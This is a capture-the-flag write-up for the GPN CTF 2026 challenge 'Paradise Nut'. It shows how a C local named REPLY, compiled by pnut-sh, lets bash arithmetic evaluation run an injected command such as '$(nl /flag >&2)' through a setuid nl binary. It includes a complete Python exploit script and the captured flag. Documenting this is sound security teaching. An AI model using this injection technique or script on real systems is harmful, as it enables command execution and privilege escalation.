Challenge: Paradise Nut · CTF: GPN CTF 2026 · Category: Miscellaneous · Difficulty: Medium

Summary

The service compiles one line of your C with pnut-sh (a C→POSIX-shell compiler) and runs the output under bash. /flag is root-only (mode 400) but /usr/bin/nl is setuid root, so the goal is to get nl /flag to run. pnut emits C local variable names as raw, unprefixed shell variable names, and the gets() runtime is read -r REPLY — so a C local named REPLY aliases the tainted shell $REPLY. Referencing it in arithmetic triggers bash’s recursive $(( )) evaluation → command execution.

Solution

Step 1: Find the injection primitive

Key observations from pnut-sh.sh:

  • String literals are fully shell-escaped in codegen ($, `, \, " all neutralized), so data can’t be injected through strings.
  • C globals are emitted with a _ prefix (_g), but C locals are emitted as bare shell names (x, REPLY, …).
  • gets(buf) compiles to a runtime that does read -r REPLY; unpack_string_to_buf "$REPLY" … — our raw input line lands unescaped in $REPLY.
  • The compiled program runs under bash, where $(( expr )) recursively re-evaluates a variable’s string value, and an array subscript var[$(cmd)] performs command substitution.

So a C local named REPLY is the same shell $REPLY that gets fills. Using it in arithmetic detonates the payload:

1
2
char buf[300];
int main(){ int REPLY; gets(buf); return REPLY + 1; }

compiles to:

1
2
3
4
5
6
_main() {
  let REPLY
  _gets __ $_buf        # read -r REPLY  -> REPLY = attacker's raw line
  : $(($1 = REPLY + 1)) # bash recursively evaluates REPLY -> RCE
  endlet $1 REPLY
}

Payload line (fed to gets): __SP[$(nl /flag >&2)]. __SP is a defined runtime variable (satisfies set -u) used as the array base; $(nl /flag >&2) runs the setuid nl, sending the flag to stderr (wired back to us by socat).

Step 2: Beat the head -n1 read-ahead

chal.sh runs bash <(./pnut-sh.sh <(head -n1)). head -n1 over-reads a pipe/socket, so the payload must arrive after head has already consumed line 1. Send line 1, wait for compilation + the program to reach gets(), then send the payload line.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import ssl, socket, time

HOST = "smoked-chorizo-under-pickled-thyme-bqya.gpn24.ctf.kitctf.de"
PORT = 443
LINE1 = b'char buf[300];int main(){int REPLY;gets(buf);return REPLY+1;}\n'
LINE2 = b'__SP[$(nl /flag >&2)]\n'

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

s = ctx.wrap_socket(socket.create_connection((HOST, PORT), timeout=15),
                    server_hostname=HOST)
s.settimeout(15)

print(s.recv(4096).decode(errors="replace"))  # "Enter your C code..."
s.sendall(LINE1)
time.sleep(2.0)      # head reads line1, pnut compiles, program blocks on gets()
s.sendall(LINE2)     # payload now sits in the socket for read -r REPLY
time.sleep(1.0)

out = b""
try:
    while True:
        d = s.recv(4096)
        if not d: break
        out += d
except Exception:
    pass
print(out.decode(errors="replace"))
s.close()

Output:

1
     1	GPNCTF{liBC_GETS()_F4N5_KEeP_on_wiNniNg!_ISn't_It_c0NVeniENT_7Ha7_REPLY_15_NOt_b1aCk1iSt3d?}

Flag

1
GPNCTF{liBC_GETS()_F4N5_KEeP_on_wiNniNg!_ISn't_It_c0NVeniENT_7Ha7_REPLY_15_NOt_b1aCk1iSt3d?}